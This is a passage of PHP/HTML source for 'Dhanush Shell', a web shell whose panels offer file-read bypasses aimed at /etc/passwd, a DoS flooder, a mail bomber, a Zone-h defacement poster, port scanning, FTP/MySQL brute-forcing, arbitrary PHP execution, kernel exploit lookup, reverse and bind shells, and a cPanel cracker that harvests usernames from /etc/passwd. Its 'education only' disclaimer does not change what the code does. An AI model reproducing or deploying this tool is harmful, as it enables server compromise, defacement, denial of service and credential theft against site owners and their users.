align=\"center\">\r\n\t\t\t\t\t\t<p>Using imap() function</p>\r\n\t\t\t\t\t\t<form onSubmit=\"bypassfun('imap',imap.value);return false;\">\r\n\t\t\t\t\t\t<input type=\"text\" name=\"imap\" value=\"/etc/passwd\" class=\"sbox\"> <input type=\"button\" OnClick=\"bypassfun('imap',imap.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t\t\t\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td align=\"center\">\r\n\t\t\t\t\t\t<p>Using sql() function</p>\r\n\t\t\t\t\t\t<form onSubmit=\"bypassfun('sql',sql.value);return false;\">\r\n\t\t\t\t\t\t<input type=\"text\" name=\"sql\" value=\"/etc/passwd\" class=\"sbox\"> <input type=\"button\" OnClick=\"bypassfun('sql',sql.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td align=\"center\">\r\n\t\t\t\t\t\t<p>Using Curl() function</p>\r\n\t\t\t\t\t\t<form onSubmit=\"bypassfun('curl',curl.value);return false;\">\r\n\t\t\t\t\t\t<input type=\"text\" name=\"curl\" value=\"/etc/passwd\" class=\"sbox\"> <input type=\"button\" OnClick=\"bypassfun('curl',curl.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t\t\t\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td align=\"center\">\r\n\t\t\t\t\t\t<p>Bypass using include()</p>\r\n\t\t\t\t\t\t<form onSubmit=\"bypassfun('include',include.value);return false;\">\r\n\t\t\t\t\t\t<input type=\"text\" name=\"include\" value=\"/etc/passwd\" class=\"sbox\"> <input type=\"button\" OnClick=\"bypassfun('include',include.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td align=\"center\">\r\n\t\t\t\t\t\t<p>Using id() function</p>\r\n\t\t\t\t\t\t<form onSubmit=\"bypassfun('id',id.value);return false;\">\r\n\t\t\t\t\t\t<input type=\"text\" name=\"id\" value=\"/etc/passwd\" class=\"sbox\"> <input type=\"button\" OnClick=\"bypassfun('id',id.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td align=\"center\">\r\n\t\t\t\t\t\t<p>Using tempnam() function</p>\r\n\t\t\t\t\t\t<form onSubmit=\"bypassfun('tempnam',tempname.value);return false;\">\r\n\t\t\t\t\t\t<input type=\"text\" name=\"tempname\" value=\"../../../etc/passwd\" class=\"sbox\"> <input type=\"button\" OnClick=\"bypassfun('tempnam',tempname.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td align=\"center\">\r\n\t\t\t\t\t\t<p>Using symlink() function</p>\r\n\t\t\t\t\t\t<form onSubmit=\"bypassfun('symlnk',sym.value);return false;\">\r\n\t\t\t\t\t\t<input type=\"text\" name=\"sym\" value=\"/etc/passwd\" class=\"sbox\"> <input type=\"button\" OnClick=\"bypassfun('symlnk',sym.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=2 align=\"center\">\r\n\t\t\t\t\t\t<p>Using Bypass function</p>\r\n\t\t\t\t\t\t<form onSubmit=\"bypassfun('newtype',newtype.value,optiontype.value);return false;\">\r\n\t\t\t\t\t\t<input type=\"text\" name=\"newtype\" value=\"/etc/passwd\" class=\"sbox\"> \r\n\t\t\t\t\t\t<select id=\"optiontype\" class=sbox>\r\n\t\t\t\t\t\t<option value=\"tac\">tac</option>\r\n\t\t\t\t\t\t<option value=\"more\">more</option>\r\n\t\t\t\t\t\t<option value=\"less\">less</option>\r\n\t\t\t\t\t\t<option value=\"rev\">rev</option>\r\n\t\t\t\t\t\t<option value=\"xxd\">xxd</option>\r\n\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t<input type=\"button\" OnClick=\"bypassfun('newtype',newtype.value,optiontype.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t</table>\r\n\t</form>\r\n\t<?php\r\n}\r\n//fuzzer\r\nelse if(isset(\$_GET['fuzz']))\r\n{\r\n    ?>\r\n        <form method=\"GET\">\r\n           <table id=\"margins\">\r\n                <tr>\r\n                    <td width=\"400\" class=\"title\">\r\n                        IP\r\n                    </td>\r\n                    <td>\r\n                        <input class=\"box\" name=\"myip\" value=\"127.0.0.1\" onFocus=\"if(this.value == '127.0.0.1')this.value = '';\" onBlur=\"if(this.value=='')this.value='127.0.0.1';\"/>\r\n                    </td>\r\n                </tr>\r\n                \r\n                <tr>\r\n                    <td class=\"title\">\r\n                        Port\r\n                    </td>\r\n                    <td>\r\n                        <input class=\"box\" name=\"port\" value=\"80\" onFocus=\"if(this.value == '80')this.value = '';\" onBlur=\"if(this.value=='')this.value='80';\"/>\r\n                    </td>\r\n                </tr>\r\n                \r\n                <tr>\r\n                    <td class=\"title\">\r\n                        Timeout\r\n                    </td>\r\n                    <td>\r\n                        <input type=\"text\" class=\"box\" name=\"time\" value=\"5\" onFocus=\"if(this.value == '5')this.value = '';\" onBlur=\"if(this.value=='')this.value='5';\"/>\r\n                    </td>\r\n                </tr>\r\n                \r\n                \r\n                <tr>\r\n                    <td class=\"title\">\r\n                        No of times\r\n                    </td>\r\n                    <td>\r\n                        <input type=\"text\" class=\"box\" name=\"times\" value=\"100\" onFocus=\"if(this.value == '100')this.value = '';\" onBlur=\"if(this.value=='')this.value='100';\" />\r\n                    </td>\r\n                </tr>\r\n                \r\n                <tr>\r\n                    <td class=\"title\">\r\n                        Message (The message Should be long and it will be multiplied with the value after it)\r\n                    </td>\r\n                    <td>\r\n                        <input class=\"box\" name=\"message\" value=\"%S%x--Some Garbage here --%x%S\" onFocus=\"if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';\" onBlur=\"if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';\"/>\r\n                    </td>\r\n                    <td>\r\n                        x\r\n                    </td>\r\n                    <td width=\"20\">\r\n                        <input style=\"width: 30px;\" class=\"box\" name=\"messageMultiplier\" value=\"10\" />\r\n                    </td>\r\n                </tr>\r\n                \r\n                <tr>\r\n                    <td rowspan=\"2\">\r\n                        <input style=\"margin : 20px; margin-left: 500px; padding : 10px; width: 100px;\" type=\"button\" onClick=\"dos('fuzzer',myip.value,port.value,time.value,times.value,message.value,messageMultiplier.value)\" class=\"but\" value=\"  Submit  \"/>\r\n                    </td>\r\n                </tr>\r\n            </table>            \r\n        </form><div id=\"showdos\"></div>\r\n        <?php\r\n}\r\n// Zone-h Poster\r\n\telse if(isset(\$_GET[\"zone\"]))\r\n\t{  \r\n\t\tif(!function_exists('curl_version'))\r\n\t\t{\r\n\t\t\techo \"<pre style='margin-top:5px'><center><font >PHP CURL NOT EXIST</font></center></pre>\";\r\n\t\t}\r\n\t\t?>\r\n\t\t<center><font size=\"4\" color=\"#FF0000\">Zone-h Poster</font></center>\r\n\t\t<form action=\"<?php echo \$self; ?>\" method=\"post\">\r\n\t\t<table align=\"center\" cellpadding=\"5\" border=\"0\">\r\n\t\t<tr>\r\n\t\t<td>\r\n\t\t<input type=\"text\" name=\"defacer\" value=\"Attacker\" class=\"box\" /></td></tr>\r\n\t\t<tr><td>\r\n\t\t<select name=\"hackmode\" class=\"box\">\r\n\t\t\t<option >--------SELECT--------</option>\r\n\t\t\t<option value=\"1\">known vulnerability (i.e. unpatched system)</option>\r\n\t\t\t<option value=\"2\" >undisclosed (new) vulnerability</option>\r\n\t\t\t<option value=\"3\" >configuration / admin. mistake</option>\r\n\t\t\t<option value=\"4\" >brute force attack</option>\r\n\t\t\t<option value=\"5\" >social engineering</option>\r\n\t\t\t<option value=\"6\" >Web Server intrusion</option>\r\n\t\t\t<option value=\"7\" >Web Server external module intrusion</option>\r\n\t\t\t<option value=\"8\" >Mail Server intrusion</option>\r\n\t\t\t<option value=\"9\" >FTP Server intrusion</option>\r\n\t\t\t<option value=\"10\" >SSH Server intrusion</option>\r\n\t\t\t<option value=\"11\" >Telnet Server intrusion</option>\r\n\t\t\t<option value=\"12\" >RPC Server intrusion</option>\r\n\t\t\t<option value=\"13\" >Shares misconfiguration</option>\r\n\t\t\t<option value=\"14\" >Other Server intrusion</option>\r\n\t\t\t<option value=\"15\" >SQL Injection</option>\r\n\t\t\t<option value=\"16\" >URL Poisoning</option>\r\n\t\t\t<option value=\"17\" >File Inclusion</option>\r\n\t\t\t<option value=\"18\" >Other Web Application bug</option>\r\n\t\t\t<option value=\"19\" >Remote administrative panel access bruteforcing</option>\r\n\t\t\t<option value=\"20\" >Remote administrative panel access password guessing</option>\r\n\t\t\t<option value=\"21\" >Remote administrative panel access social engineering</option>\r\n\t\t\t<option value=\"22\" >Attack against administrator(password stealing/sniffing)</option>\r\n\t\t\t<option value=\"23\" >Access credentials through Man In the Middle attack</option>\r\n\t\t\t<option value=\"24\" >Remote service password guessing</option>\r\n\t\t\t<option value=\"25\" >Remote service password bruteforce</option>\r\n\t\t\t<option value=\"26\" >Rerouting after attacking the Firewall</option>\r\n\t\t\t<option value=\"27\" >Rerouting after attacking the Router</option>\r\n\t\t\t<option value=\"28\" >DNS attack through social engineering</option>\r\n\t\t\t<option value=\"29\" >DNS attack through cache poisoning</option>\r\n\t\t\t<option value=\"30\" >Not available</option>\r\n\t\t</select>\r\n\t\t</td></tr>\r\n\t\t<tr><td>\r\n\t\t<select name=\"reason\" class=\"box\">\r\n\t\t\t<option >--------SELECT--------</option>\r\n\t\t\t<option value=\"1\" >Heh...just for fun!</option>\r\n\t\t\t<option value=\"2\" >Revenge against that website</option>\r\n\t\t\t<option value=\"3\" >Political reasons</option>\r\n\t\t\t<option value=\"4\" >As a challenge</option>\r\n\t\t\t<option value=\"5\" >I just want to be the best defacer</option>\r\n\t\t\t<option value=\"6\" >Patriotism</option>\r\n\t\t\t<option value=\"7\" >Not available</option>\r\n\t\t</select></td></tr>\r\n\t\t<tr><td>\r\n\t\t<textarea name=\"domain\" class=\"box\" cols=\"47\" rows=\"9\">List Of Domains</textarea></td></tr>\r\n\t\t<tr><td>\r\n\t\t<input type=\"button\" onClick=\"zoneh(defacer.value,hackmode.value,reason.value,domain.value)\" class=\"but\" value=\"Send Now !\" /></td></tr></table>\r\n\t\t</form><div id=\"showzone\"></div>\r\n\t<?php }\r\n//DDos\r\n\telse if(isset(\$_GET['dos']))\r\n\t{ \r\n\t\t?>\r\n\t\t\t<form method=\"GET\">\r\n\t\t\t\t<table id=\"margins\">\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td width=\"400\" class=\"title\">\r\n\t\t\t\t\t\t\tIP\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t<input class=\"box\" name=\"myip\" value=\"127.0.0.1\" onFocus=\"if(this.value == '127.0.0.1')this.value = '';\" onBlur=\"if(this.value=='')this.value='127.0.0.1';\"/>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td class=\"title\">\r\n\t\t\t\t\t\t\tPort\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t<input class=\"box\" name=\"port\" value=\"80\" onFocus=\"if(this.value == '80')this.value = '';\" onBlur=\"if(this.value=='')this.value='80';\"/>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td class=\"title\">\r\n\t\t\t\t\t\t\tTimeout <font >(Time in seconds)</font>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t<input type=\"text\" class=\"box\" name=\"timeout\" value=\"5\" onFocus=\"if(this.value == '5')this.value = '';\" onBlur=\"if(this.value=='')this.value='5';\" />\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t<td class=\"title\">\r\n\t\t\t\t\tExecution Time <font >(Time in seconds)</font> \r\n\t\t\t\t</td>\r\n\t\t\t\t<td>\r\n\t\t\t\t\t<input type=\"text\" class=\"box\" name=\"exTime\" value=\"10\" onFocus=\"if(this.value == '10')this.value = '';\" onBlur=\"if(this.value=='')this.value='10';\"/>\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td class=\"title\">\r\n\t\t\t\t\tNo of Bytes per/packet\r\n\t\t\t\t</td>\r\n\t\t\t\t<td>\r\n\t\t\t\t\t<input type=\"text\" class=\"box\" name=\"noOfBytes\" value=\"999999\" onFocus=\"if(this.value == '999999')this.value = '';\" onBlur=\"if(this.value=='')this.value='999999';\"/>\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td rowspan=\"2\">\r\n\t\t\t\t\t<input style=\"margin : 20px; margin-left: 500px; padding : 10px; width: 100px;\" type=\"button\" onClick=\"dos('dosser',myip.value,port.value,timeout.value,exTime.value,noOfBytes.value,'null')\" class=\"but\" value=\"   Attack >> \"/>\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\r\n\t\t</table>            \r\n\t</form><div id=\"showdos\"></div>\r\n\t<?php\r\n}\r\nelse if(isset(\$_GET['mailbomb']))\r\n{ ?>\r\n\t<center><table><tr><td><a href=javascript:void(0) onClick=\"getdata('bomb')\"><font class=txt size=\"4\">| Mail Bomber |</font></a></td>\r\n\t<td><a href=javascript:void(0) onClick=\"getdata('mail')\"><font class=txt size=\"4\">| Mass Mailer |</font></a></td></tr></table></center><br><div id=showdata></div>\r\n<?php\r\n}\r\nelse if(isset(\$_GET['tools']))\r\n\t{ \r\n\t\t?>\r\n\t\t<center><br><form onSubmit=\"getport(host.value,protocol.value);return false;\">\r\n\t\t<table cellpadding=\"5\" border=\"3\" style=\"border-color:#333333; width:50%;\">\r\n\t\t\t<tr>\r\n\t\t\t\t<td colspan=\"2\" align=\"center\"><b><font size='4' color=\"#FF0000\">Port Scanner<br></font></b></td>\r\n\t   \t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=\"center\">\r\n\t   \t\t\t<input class=\"sbox\" type='text' name='host' value='<?php echo \$_SERVER[\"SERVER_ADDR\"]; ?>' >\r\n\t\t\t\t</td>\r\n\t   \t\t\t<td align=\"center\">\r\n\t\t\t\t<select class=\"sbox\" name='protocol'>\r\n\t   \t\t\t\t<option value='tcp'>tcp</option>\r\n\t   \t\t\t\t<option value='udp'>udp</option>\r\n\t   \t\t\t</select>\r\n\t\t\t\t</td>\r\n\t   \t\t<tr>\r\n\t\t\t<td colspan=\"2\" align=\"center\"><input class=\"but\" type='button' onClick=\"getport(host.value,protocol.value)\" value='Scan Ports'></td>\r\n\t\t\t</tr>\r\n\t\t\t</form>\r\n\t\t\t<tr><td colspan=2><div id=\"showports\"></div>\r\n\t\t</td></tr></table>\r\n\t\t\r\n\t\t<br>\r\n\t\t<form onSubmit=\"bruteforce(prototype.value,serverport.value,login.value,dict.value);return false;\">\r\n\t\t<table cellpadding=\"5\" border=\"2\" style=\"border-color:#333333; width:50%;\">\r\n\t\t\t<tr>\r\n\t\t\t\t<td colspan=\"2\" align=\"center\"><font size=\"4\">BruteForce</font></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td>Type : </td>\r\n\t\t\t\t<td>\r\n\t\t\t\t\t<select name=\"prototype\" class=\"sbox\">\r\n\t\t\t\t\t\t<option value=\"ftp\">FTP</option>\r\n\t\t\t\t\t\t<option value=\"mysql\">MYSQL</option>\r\n\t\t\t\t\t\t<option value=\"postgresql\">PostgreSql</option>\r\n\t\t\t\t\t</select>\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td>Server <b>:</b> Port : </td>\r\n\t\t\t\t<td><input type=\"text\" name=\"serverport\" value=\"<?php echo \$_SERVER[\"SERVER_ADDR\"]; ?>\" class=\"sbox\"></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td valign=\"middle\">Brute type : </td>\r\n\t\t\t\t<td><label><input type=radio name=mytype value=\"1\" checked> /etc/passwd</label><label><input type=checkbox id=\"reverse\" name=reverse value=1 checked> reverse (login -> nigol)</label><hr color=\"#1B1B1B\">\r\n\t\t\t\t<label><input type=radio name=mytype value=\"2\"> Dictionary</label><br>\r\n\t\t\t\tLogin : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"text\" name=\"login\" value=\"root\" class=\"sbox\"><br>\r\n\t\t\t\tDictionary : <input type=\"text\" name=\"dict\" value=\"<?php echo getcwd() . \$directorysperator; ?>passwd.txt\" class=\"sbox\">\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td colspan=\"2\" align=\"center\"><input type=\"button\" onClick=\"bruteforce(prototype.value,serverport.value,login.value,dict.value)\" value=\"Attack >>\" class=\"but\"></td>\r\n\t\t\t</tr>\r\n\t\t\t</form><tr><td colspan=\"2\" id=\"showbrute\"></td></tr>\r\n\t\t</table>\r\n\t\t</center><br>\r\n\t\t<?php\r\n}\r\nelse if (isset(\$_GET[\"phpc\"]))\r\n{\r\n\t ?>\r\n\t <div id=\"showresult\"></div>\r\n    <form name=\"frm\">\r\n    <textarea name=\"code\" class=\"box\" cols=\"120\" rows=\"10\">phpinfo();</textarea>\r\n\t<br /><br />\r\n    <input name=\"submit\" value=\"Execute This COde! \" class=\"but\" onClick=\"execode(code.value)\" type=\"button\" />\r\n\t<label><input type=\"checkbox\" id=\"intext\" name=\"intext\" value=\"disp\"> <font class=txt size=\"3\">Display in Textarea</font></label>\r\n    </form>\r\n    <?php\r\n}\r\nelse if(isset(\$_GET[\"exploit\"]))\r\n{\r\n\tif(!isset(\$_GET[\"rootexploit\"]))\r\n\t{\r\n\t\t?>\r\n\t\t<center>\r\n\t\t<form action=\"<?php echo \$self; ?>\" method=\"get\" target=\"_blank\">\r\n\t\t\t<input type=\"hidden\" name=\"exploit\">\r\n\t\t\t<table border=\"1\" cellpadding=\"5\" cellspacing=\"4\" style=\"width:50%;border-color:#333333;\">\r\n\t\t\t<tr>\r\n\t\t\t\t<td style=\"height:60px;\">\r\n\t\t\t<font size=\"4\" class=txt>Select Website</font></td><td>\r\n\t\t<p><select id=\"rootexploit\" name=\"rootexploit\" class=\"box\">\r\n\t\t\t<option value=\"exploit-db\">Exploit-db</option>\r\n\t\t\t<option value=\"packetstormsecurity\">Packetstormsecurity</option>\r\n\t\t\t<option value=\"exploitsearch\">Exploitsearch</option>\r\n\t\t\t<option value=\"shodanhq\">Shodanhq</option>\r\n\t\t</select></p></td></tr><tr><td colspan=\"2\" align=\"center\"  style=\"height:40px;\">\r\n\t\t<input type=\"submit\" value=\"Search\" class=\"but\"></td></tr></table>\r\n\t\t</form></center><br>\r\n\t\r\n\t<?php \r\n\t}\r\n\telse\r\n\t{\r\n\t\t//exploit search\r\n\t\t\$Lversion = php_uname(r);\r\n\t\t\$OSV = php_uname(s);\r\n\t\tif(eregi('Linux',\$OSV))\r\n\t\t{\r\n\t\t\t\$Lversion=substr(\$Lversion,0,6);\r\n\t\t\tif(\$_GET['rootexploit'] == \"exploit-db\")\r\n\t\t\t{\r\n\t\t\t\theader(\"Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel+\$Lversion\");\r\n\t\t\t}\r\n\t\t\telse if(\$_GET['rootexploit'] == \"packetstormsecurity\")\r\n\t\t\t{\r\n\t\t\t\theader(\"Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+\$Lversion\");\r\n\t\t\t}\r\n\t\t\telse if(\$_GET['rootexploit'] == \"exploitsearch\")\r\n\t\t\t{\r\n\t\t\t\theader(\"Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=Linux+Kernel+\$Lversion\");\r\n\t\t\t}\r\n\t\t\telse if(\$_GET['rootexploit'] == \"shodanhq\")\r\n\t\t\t{\r\n\t\t\t\theader(\"Location:http://www.shodanhq.com/exploits?q=Linux+Kernel+\$Lversion\");\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t\$Lversion=substr(\$Lversion,0,3);\r\n\t\t\tif(\$_GET['rootexploit'] == \"exploit-db\")\r\n\t\t\t{\r\n\t\t\t\theader(\"Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=\$OSV+Lversion\");\r\n\t\t\t}\r\n\t\t\telse if(\$_GET['rootexploit'] == \"packetstormsecurity\")\r\n\t\t\t{\r\n\t\t\t\theader(\"Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=\$OSV+Lversion\");\r\n\t\t\t}\r\n\t\t\telse if(\$_GET['rootexploit'] == \"exploitsearch\")\r\n\t\t\t{\r\n\t\t\t\theader(\"Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=\$OSV+Lversion\");\r\n\t\t\t}\r\n\t\t\telse if(\$_GET['rootexploit'] == \"shodanhq\")\r\n\t\t\t{\r\n\t\t\t\theader(\"Location:http://www.shodanhq.com/exploits?q=\$OSV+Lversion\");\r\n\t\t\t}\r\n\t\t}\r\n\t\t//End of Exploit search\r\n\t}\r\n}\r\n// Connect\r\nelse if(isset(\$_REQUEST['connect']))\r\n{\r\n\t?>\r\n\t<form action='<?php echo \$self; ?>' method='POST' >\r\n\t<table style=\"width:50%\" align=\"center\" >\r\n    <tr>\r\n        <th colspan=\"1\" width=\"50px\">Reverse Shell</th>\r\n        <th colspan=\"1\" width=\"50px\">Bind Shell</th>\r\n    </tr>\r\n    <tr>\r\n         <td>\r\n            <table style=\"border-spacing: 6px;\">\r\n                <tr>\r\n                    <td>IP </td>\r\n                    <td>\r\n                        <input type=\"text\" class=\"box\" style=\"width: 200px;\" name=\"ip\" value=\"<?php yourip();?>\" />\r\n                    </td>\r\n                </tr>\r\n                <tr>\r\n                    <td>Port </td>\r\n                    <td><input style=\"width: 200px;\" class=\"box\" name=\"port\" size='5' value=\"9891\"/></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td style=\"vertical-align:top;\">Use:</td>\t\r\n\t\t\t\t\t<td><select style=\"width: 95px;\" name=\"lang\" class=\"sbox\">\r\n\t\t\t\t\t\t<option value=\"perl\">Perl</option>\r\n\t\t\t\t\t\t<option value=\"python\">Python</option>\r\n\t\t\t\t\t\t<option value=\"php\">PHP</option>\r\n\t\t\t\t\t\t</select>&nbsp;&nbsp;\r\n\t\t\t\t\t<input type=\"submit\" style=\"width: 90px;\" class=\"but\" value=\"Connect!\" name=\"backconnect\"/></td>\r\n\t\t\t\t</tr>\r\n            </table> </form> \r\n         </td>\r\n     \r\n         <td style=\"vertical-align:top;\">\r\n\t\t <form method='post' >\r\n            <table style=\"border-spacing: 6px;\">\r\n                <tr>\r\n                    <td>Port</td>\r\n                    <td>\r\n                        <input style=\"width: 200px;\" class=\"box\" name=\"port\" value=\"9891\" />\r\n                    </td>\r\n                </tr>\r\n                <tr>\r\n                    <td>Password </td>\r\n                    <td>\r\n\t\t\t\t\t\t<input style=\"width: 200px;\" class=\"box\" name=\"passwd\" value=\"Dhanush\"/>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>Using</td>\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<select style=\"width: 95px;\" name=\"lang\" id=\"lang\" class=\"sbox\">\r\n\t\t\t\t\t\t<option value=\"perl\">Perl</option>\r\n\t\t\t\t\t\t<option value=\"c\">C</option>\r\n\t\t\t\t\t\t</select>&nbsp;&nbsp;\r\n\t\t\t\t\t\t<input style=\"width: 90px;\" class=\"but\" type=\"submit\" name=\"backdoor\" value=\" Bind \"/></td>\r\n                </tr>\r\n            </table>\r\n         </td>\r\n         </form>\r\n    </tr>\r\n\t<tr><td colspan=2><font color=\"#FF0000\">Click \"Connect\" only after open port for it.Use NetCat, run \"nc -l -n -v -p 9891\"!<br>Click \"Bind\", use netcat and give it the command 'nc <?php yourip(); ?> 9891\"!</font></td></tr>\r\n    </table>\r\n\t   \r\n\t<?php \r\n\t}\r\n\r\nelse if(isset(\$_REQUEST['404']))\r\n{\r\n\t?>\r\n\t<center><table><tr><td><a href=javascript:void(0) onClick=\"getdata('404new')\"><font class=txt size=\"4\">| Set Your 404 Page |</font></a></td>\r\n\t\t<td><a href=javascript:void(0) onClick=\"getdata('404page')\"><font class=txt size=\"4\">| Set Specified 404 Page |</font></a></td>\r\n\t\t</tr></table></center><br>\r\n\t\t<div id=\"showdata\"></div>\r\n\t<?php \r\n}\r\nelse if(isset(\$_GET['about']))\r\n\t{ ?>\r\n\t\t<center>\r\n\t\t  <p><font  size=6><u>D h a n u s h</u></font><br>\r\n\t\t      <font  size=5>[--==Coded By Arjun==--]</font>\r\n\t\t    <div style='font-family: Courier New; font-size: 10px;'><font class=txt ><pre>\r\n\r\n       -  --  -\r\n       -- -- --\r\n       --    --\r\n       ---  ---\r\n       ------\r\n       ----\r\n   ----             \r\n ------           \r\n-------          \r\n---   --          \r\n      --      --- \r\n      --      ----- \r\n     ---      --- --- \r\n     ---    ---   ---\r\n--   ---------     --\r\n--    -------      --\r\n --     ----       --\r\n  --     ---       --\r\n  --     --        --\r\n   ---  ---   --  ---\r\n    ------    ------\r\n     ----      ----\r\n      \r\n\r\n\t\t</pre></font></div></center>\r\n\t\t<font class=\"txt\">Dhanush Shell is a PHP Script, created for checking the vulnerability and security of any web server or website. With this PHP script, the owner can check various vulnerablities present in the web server. This shell provide you almost every facility that the security analyst need for penetration testing. This is a \"All In One\" php script, so that the user do not need to go anywhere else.<br> This script is coded by an Indian Ethical Hacker.<br> This script is only coded for education purpose or testing on your own server.The developer of the script is not responsible for any damage or misuse of it</font><br><br><center><font  size=5>GREETZ To All Indian Hackers</font><br><font  size=6>| &#2332;&#2351; &#2350;&#2361;&#2366;&#2325;&#2366;&#2354; | | &#2332;&#2351; &#2361;&#2367;&#2344;&#2381;&#2342; |</font></center><br>\r\n\t<?php }\r\nelse if(isset(\$_GET['database']))\r\n{ ?>\r\n\t<form onSubmit=\"mydatabase(server.value,username.value,password.value);return false;\">\r\n\t<table id=\"datatable\" style=\"width:90%;\" cellpadding=\"4\" align=\"center\">\r\n\t<tr>\r\n\t\t<td colspan=\"2\">Connect To Database</td>\r\n\t</tr>\r\n\t<tr>\r\n\t\t<td>Server Address :</td>\r\n\t\t<td><input type=\"text\" class=\"box\" name=\"server\" value=\"localhost\"></td>\r\n\t</tr>\r\n\t<tr>\r\n\t\t<td>Username :</td>\r\n\t\t<td><input type=\"text\" class=\"box\" name=\"username\" value=\"root\"></td>\r\n\t</tr>\r\n\t<tr>\r\n\t\t<td>Password:</td>\r\n\t\t<td><input type=\"text\" class=\"box\" name=\"password\" value=\"\"></td>\r\n\t</tr>\r\n\t\r\n\t<tr>\r\n\t\t<td></td>\r\n\t\t<td><input type=\"button\" onClick=\"mydatabase(server.value,username.value,password.value)\" value=\"  Connect  \" name=\"executeit\" class=\"but\"></td>\r\n\t</tr>\r\n\t</table>\r\n\t</form>\r\n\t<div id=\"showsql\"></div>\r\n<?php\t\r\n}\r\n// Cpanel Cracker\r\n\telse if(isset(\$_REQUEST['cpanel']))\r\n\t{\r\n\t\t\$cpanel_port=\"2082\";\r\n\t\t\$connect_timeout=5;\r\n\t\t?>\r\n\t\t<center>\r\n\t\t<form method=post>\r\n\t\t<table style=\"width:50%;border-color:#333333;\" border=1 cellpadding=4>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=center colspan=2>Target : <input type=text name=\"server\" value=\"localhost\" class=sbox></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=center>User names</td><td align=center>Password</td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=center><textarea name=username rows=25 cols=22 class=box><?php \r\n\t\t\t\tif(\$os != \"Windows\")\r\n\t\t\t\t{\r\n\t\t\t\t\tif(@file('/etc/passwd'))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$users = file('/etc/passwd');\r\n\t\t\t\t\t\tforeach(\$users as \$user) \r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\$user = explode(':', \$user);\r\n\t\t\t\t\t\t\techo \$user[0] . \"\\n\";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$temp = \"\";\r\n\t\t\t\t\t\t\$val1 = 0;\r\n\t\t\t\t\t\t\$val2 = 1000;\r\n\t\t\t\t\t\tfor(;\$val1 <= \$val2;\$val1++) \r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\$uid = 